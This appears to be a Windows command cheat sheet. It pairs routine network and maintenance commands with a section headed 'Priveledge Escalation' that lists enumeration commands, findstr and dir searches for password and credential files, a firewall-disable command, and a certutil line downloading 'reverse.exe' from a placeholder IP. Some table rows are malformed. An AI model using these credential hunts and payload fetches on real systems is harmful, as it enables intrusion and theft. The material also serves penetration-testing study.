Commands	Description
`ipconfig`	displays the current TCP/IP network configuration values assigned to the local computer, including IP address, subnet mask, and default gateway
`ipconfig /all`	displays detailed configuration information for all network adapters, including physical (MAC) address, DHCP lease information, and DNS server addresses
`findstr`	searches for a specific string or pattern within a file or text output It's often used in conjunction with other commands to filter results
`ipconfig /release`	releases the current DHCP lease for all network adapters on the local computer
`ipconfig /renew`	renews the DHCP lease for all network adapters on the local computer
`ipconfig /release && ipconfig /renew`	P.S: Need to use it together
`ipconfig /displaydns`	displays the contents of the DNS resolver cache, which contains information about recently accessed websites and their IP addresses
`clip`	copies the output of a command to the Windows clipboard, allowing you to paste it into another application
`ipconfig /flushdns`	clears the contents of the DNS resolver cache
`nslookup`	queries DNS servers to obtain domain name or IP address mapping information
`cls`	clears the command prompt screen
`getmac /v`	displays the MAC address (physical address) of all network adapters installed on the local computer, along with other information
`powercfg /energy`	generates a detailed report of the computer's power consumption and energy efficiency
`powercfg /batteryreport`	generates a report of the computer's battery usage over time
`assoc`	displays or modifies file type associations
`chkdsk /f`	scans the file system on a specified drive and fixes errors found
`chkdsk /r`	scans the file system on a specified drive, locates bad sectors, and recovers readable information
`sfc /scannow`	scans the Windows system files for corruption and attempts to repair any problems found
`DISM /Online /Cleanup /CheckHealth`	checks the health of the Windows image and reports any issues found
`DISM /Online /Cleanup /ScanHealth`	scans the Windows image for component store corruption and reports any issues found
`DISM /Online /Cleanup /RestoreHealth`	restores the Windows image from a known good source
`tasklist`	displays a list of all currently running processes on the local computer
`taskkill`	terminates a specified process or group of processes
`netsh wlan show wlanreport`	generates a report of the wireless network connection history on the local computer
`netsh interface show interface`	displays a list of all network interfaces on the local computer, including their status
`netsh interface ip show address	findstr "IP Address"`
`netsh interface ip show dnsservers`	displays the DNS server addresses assigned to all network adapters on the local computer
`netsh advfirewall set allprofiles state off`	disables the Windows Firewall for all network profiles (Domain, Private, and Public)
`netsh advfirewall set allprofiles state off`	turns off the Windows Firewall for all network profiles (domain, private, public)
`netsh advfirewall set allprofiles state on`	turns on the Windows Firewall for all network profiles (domain, private, public)
`ping`	sends a series of ICMP echo requests to a specified network address or host name to test the connectivity between the local computer and the target host
`ping -t`	continuously sends ICMP echo requests to a specified network address or host name until the command is manually interrupted It is often used for testing network connectivity and stability
`tracert`	traces the path that an IP packet takes from the local computer to a specified network address or host name by sending a series of ICMP echo requests with increasing Time-To-Live (TTL) values
`tracert -d`	is similar to tracert, but it does not perform reverse DNS lookups to resolve IP addresses to host names
`netstat`	displays active network connections, listening ports, and related network statistics
`netstat -af`	displays all active TCP and UDP connections and their respective protocol (IPv4 or IPv6) for all network interfaces
`netstat -o`	displays all active network connections, listening ports, and related network statistics, including the process ID (PID) of the process that is using each connection
`netstat -e -t 5`	displays the Ethernet statistics and active TCP connections for 5 seconds before terminating
`route print`	displays the local IPv4 and IPv6 routing tables, including the destination network addresses, network masks, gateways, interface indexes, and metrics
`route add`	adds a new route to the local IPv4 or IPv6 routing table
`route delete`	removes a route from the local IPv4 or IPv6 routing table
`shutdown /r /fw /f /t 0`	shuts down and restarts the local computer immediately (/t 0), and forces all applications to close (/f). The /fw parameter directs the system to reboot into the firmware (UEFI or BIOS) setup utility

Priveledge Escalation

Commands	Description
Displays comprehensive system information about the Windows operating system	`systeminfo`
Displays the name of the current host or computer on the network	`hostname`
Displays the username of the current user	`whoami`
Displays the current user's privileges, including their security ID (SID), privilege attributes, and enabled state	`whoami /priv`
Displays the security groups to which the current user belongs, including their group names, SIDs, and attributes	`whoami /groups`
Displays the username of the current user using the echo command	`echo %username%`
Lists all user accounts on the local computer	`net users`
Lists all local groups on the local computer	`net localgroups`
Displays detailed information about the user account named "user1", including their group memberships, privileges, and account status	`net user user1`
Lists all global groups in the domain to which the computer belongs	`net group /domain`
Lists the members of the specified global group in the domain	`net group /domain <Group Name>`
Displays the current state of the Windows Firewall and any active profiles	`netsh firewall show state`
Displays the Windows Firewall configuration settings	`netsh firewall show config`
Displays detailed IP configuration information for all network adapters, including the IP address, subnet mask, and default gateway	`ipconfig /all`
Displays the IP routing table, including all routes and their associated network destinations, gateways, and interface metrics	`route print`
Displays the current contents of the ARP cache, which maps IP addresses to physical MAC addresses	`arp -A`
Lists all installed hotfixes and updates, including their names, descriptions, installation dates, and hotfix IDs	`wmic qfe get Caption,Description,HotFixID,InstalledOn`
Displays the configuration information for the specified Windows service, including its name, display name, description, path to executable, and dependencies	`sc qc ["directory_name"]`
Searches for the string "password" in all .txt, .xml, and .ini files in the current directory and all subdirectories, and displays the lines where the string was found	`findstr /si password .txt .xml *.ini`
Searches for files with "pass", "cred", "vnc", or ".config" in their name, recursively in the current directory and all subdirectories	`dir /s pass == cred == vnc == .config`
Searches for the string "password" in all files in the current directory and all subdirectories, and displays the filenames where the string was found	`findstr /spin "password" .`
Download the file from local machine with python server	`python3 -m http.server`
python -m SimpleHTTPServer
On Windows	`python -m http.server<br>python3 -m http.server<br>py -3 -m http.server`
Download the file with certutil command (similar to wget on Linux)
certutil -urlcache -f -split http	`/[IP]:[PORT]/reverse.exe`

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